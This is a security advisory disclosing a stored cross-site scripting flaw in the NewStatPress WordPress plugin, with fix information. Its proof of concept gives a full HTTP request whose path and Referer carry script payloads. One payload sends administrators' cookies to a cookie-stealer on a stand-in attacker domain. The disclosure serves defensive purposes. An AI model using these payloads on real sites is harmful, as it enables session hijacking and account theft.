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Persistent Cross-Site Scripting in the WordPress NewStatPress plugin
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Han Sahin, July 2016

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Abstract
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A persistent Cross-Site Scripting (XSS) vulnerability has been found in
the WordPress NewStatPress plugin. By using this vulnerability an
attacker can inject malicious JavaScript code into the application,
which will execute within the browser of any user who views the relevant
application content.

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OVE ID
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OVE-20160712-0030

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Tested versions
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This issue was successfully tested on WordPress NewStatPress plugin
version 1.2.4.

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Fix
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This issue has been addressed in NewStatPress version 1.2.5. This
version can be download from the NewStatPress GitHub account:
https://github.com/lechab/newstatpress#125

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Details
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https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_the_wordpress_newstatpress_plugin.html

The WordPress NewStatPress plugin fails to sufficiently check input supplied to a GET request for a resource on a WordPress site with a vulnerable version of the NewStatPress plugin. In addition input supplied to the Referer header is insufficiently sanitized. As a result a malicious request will be stored on the Last Visitors and Visitors tab of the Visits page, executing the payload when an unsuspecting user views one of the mentioned tabs on this page.

Persistent Cross-Site Scripting vulnerabilities are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach target users, in this case potentially a WP admin reviewing the stats.
Proof of concept

This vulnerability can be demonstrated by submitting the following request:

GET /sumofpwn/"><script>alert(document.cookie);</script> HTTP/1.1
Host: 192.168.28.129
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla Chrome/51.0.2704.103 Safari/537.36
Referer: javascript:document.location=`http://www.XXXXXXyourhackerdomainXXXXXX.nl/demo/xss/cookiestealer.php?c=`+encodeURIComponent(document.cookie);
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,nl;q=0.6
Connection: close

Based on the above request, the vulnerable output will be:
1) <a href="/?/sumofpwn/\"><script>alert(document.cookie);</script>" target="_blank">/sumofpwn/\"><script>alert(document.cookie);</script></a>
2) Arrived from <a href="javascript:document.location=`http://www.sfylabs.nl/demo/xss/cookiestealer.php?c=`+encodeURIComponent(document.cookie);" target="_blank">javascript:document.location=`http://www.sfylabs.nl/demo/xss/cookiestealer.php?c=`+encodeURIComponent(document.cookie);</a>

http://yourhost/wp-admin/admin.php?page=nsp_main
http://yourhost/wp-admin/admin.php?page=nsp_visits


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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.